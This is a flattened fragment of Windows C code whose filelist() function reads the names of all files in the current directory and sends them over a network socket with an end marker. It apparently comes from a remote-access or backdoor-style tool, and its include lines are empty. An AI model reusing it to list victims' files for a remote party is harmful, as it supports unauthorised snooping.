#define _WIN32_WINNT 0x0400 #include #include #include int filelist(SOCKET sock) { WIN32_FIND_DATA FindFileData; HANDLE hFind; hFind = FindFirstFile("*.*", &FindFileData); if (hFind == INVALID_HANDLE_VALUE || ERROR) { //printf ("Invalid File Handle. GetLastError reports %d\n", GetLastError ()); //getchar(); return (0); } else { send(sock,FindFileData.cFileName,sizeof(FindFileData.cFileName),0); while (FindNextFile(hFind, &FindFileData) != 0) { send(sock,FindFileData.cFileName,sizeof(FindFileData.cFileName),0); } FindClose(hFind); } return send(sock,"^end^",5,0); }